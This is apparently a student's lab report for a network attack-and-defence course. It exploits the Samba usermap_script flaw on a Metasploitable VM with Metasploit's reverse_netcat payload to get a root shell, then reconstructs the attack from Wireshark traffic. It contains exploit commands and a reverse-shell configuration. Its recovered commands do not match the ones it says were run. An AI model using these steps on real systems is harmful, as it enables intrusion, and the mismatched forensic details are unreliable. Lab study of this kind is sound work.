20251911 2025-2026-2 《网络攻防实践》实践7报告
1.实践内容
- 任务一:使用 Metasploit 框架对 Linux 靶机的 Samba 服务进行远程渗透。通过 usermap_script 漏洞模块,配置合适的远程 Shell 载荷,设置目标与监听参数,完成漏洞利用,最终获取靶机的主机访问权限并验证权限级别。
- 任务二:进行攻防对抗模拟。攻击方在任务一基础上进一步取得 root 权限,并在靶机上执行命令、留下痕迹;防守方通过 Wireshark 在攻击期间实时抓包,分析流量还原攻击全过程,提取攻击者 IP、目标 IP 与端口、攻击时间、漏洞利用细节、Shellcode 类型以及攻击成功后输入的指令。
2.实践过程
实验环境
| 系统 | IP |
|---|---|
| Kali Linux | 192.168.200.64 |
| Metasploitable-Ubuntu | 192.168.200.65 |


2.1 使用 Metasploit 进行 Linux 远程渗透攻击
确认连通性
攻击前先在 Kali 上 ping 192.168.200.65,确认靶机可达。

① 启动 Metasploit 软件
在 Kali 终端输入 msfconsole 进入 Metasploit 控制台。
② 加载渗透攻击模块
使用 Samba 的 usermap_script 漏洞模块:
use exploit/multi/samba/usermap_script

③ 选择攻击载荷
选用反向连接载荷,让靶机回连攻击机,避免正向连接被靶机防火墙拦截:
set payload cmd/unix/reverse_netcat
④ 设置渗透攻击参数
set RHOST 192.168.200.65
set LHOST 192.168.200.64
set LPORT 4444
使用 show options 确认参数配置无误。

⑤ 执行渗透攻击
exploit
执行后 Metasploit 提示攻击成功

输入以下命令进入会话:
sessions 1
即可正常执行命令。
⑥ 验证远程 Shell 与权限
- 输入
hostname,显示metasploitable,确认已进入靶机。 - 输入
whoami,显示root,表明已获得最高权限。
![image]()
2.2 攻防对抗实践
2.2.1 攻击方:持续控制与操作
保持上述已获得的 root shell 会话,或者重新按 2.1 步骤再次建立连接。在交互式 shell 中执行以下定制命令,模拟攻击者在系统上留下的活动轨迹:
whoami
pwd
mkdir /tmp/attack_evidence
echo "System compromised" > /tmp/attack_evidence/note.txt

这些命令依次完成身份验证、路径查询、创建隐蔽目录、写入标识文件。
2.2.2 防守方:Wireshark 抓包与攻击还原
抓包准备
在攻击机 Kali 上提前启动 Wireshark,选择与靶机通信的网卡(本例为 eth0),设置抓包过滤器 ip.addr == 192.168.200.65 以避免干扰,开始监听。
攻击过程重现
当攻击方执行 exploit 时,Wireshark 将记录所有与靶机之间的数据包。待攻击结束并执行完所有 shell 命令后,停止抓包并保存为 attack.pcapng。
流量分析
-
确定攻击参与方
通过ip.addr == 192.168.200.65过滤,发现攻击源 IP 为192.168.200.64,目标 IP 为192.168.200.65。 -
定位漏洞利用阶段
使用显示过滤器tcp.port == 139 or tcp.port == 445查看 SMB 流量,可观察到 Samba 会话建立及 NetBIOS 交互。
![image]()
通过追踪编号对应的 TCP 流,发现数据流中出现畸形用户名参数:/= 或 ; 等注入符号

搜索得出这正是 usermap_script 漏洞利用的核心手法——借助 Samba 对用户名映射脚本处理不当的缺陷,在用户名中注入恶意指令,从而在靶机成功触发反向 shell。
-
载荷与端口
![image]()
在 SMB 漏洞利用流中可找到反向连接的指令,指定了回连端口 4444。随后 Wireshark 主面板会出现从
192.168.200.65向192.168.200.64:4444发起的 SYN 包,这就是反向 Shell 连接。连接建立后,追踪该 TCP 流可清晰看出攻击方依次发送了whoami、pwd、mkdir...、echo...、ls...等命令,靶机返回对应执行结果。由此可确认,攻击利用漏洞为 usermap_script,Shellcode/载荷类型为 Unix Reverse Netcat(流量中表现为靶机向攻击机回连建立 shell 会话)。 -
攻击发起时间
在 Wireshark 中找到第一个包含畸形用户名的 SMB 请求包,查看其时间戳,获得精确的攻击起始时间
![image]()
-
成功后命令记录
从反向 Shell 的 TCP 流中可直接提取攻击者输入的命令串![image]()
mkdir /tmp/attacked、echo "pwned" > /tmp/attacked/flag.txt、ls -la /tmp/attacked。这些命令以明文传输,完整泄露了攻击者的操作意图和步骤。
通过上述分析,防守方成功还原了完整的攻击链,获得了攻击者 IP、目标 IP 与端口、攻击发起时间、利用漏洞、载荷类型以及攻击成功后执行的全部命令。
3.学习中遇到的问题及解决
- 问题:在使用
bind_netcat载荷时,exploit显示成功但始终无法建立到 4444 端口的连接,返回超时。 - 解决方案:排查发现 Metasploitable 靶机的防火墙
ufw处于开启状态,阻止了外部对非服务端口的访问。在靶机执行sudo ufw disable临时关闭防火墙后再次攻击,成功获得 shell。实验后记得重新打开防火墙以保持环境安全。
4.实践总结
通过这次实践,我熟练掌握了使用 Metasploit 对 Linux 平台 Samba 服务漏洞进行攻击的整个流程,以及如何利用 Wireshark 对攻击流量进行完整取证分析。攻与防相互印证,加深了我对网络安全技术内里逻辑的理解.






浙公网安备 33010602011771号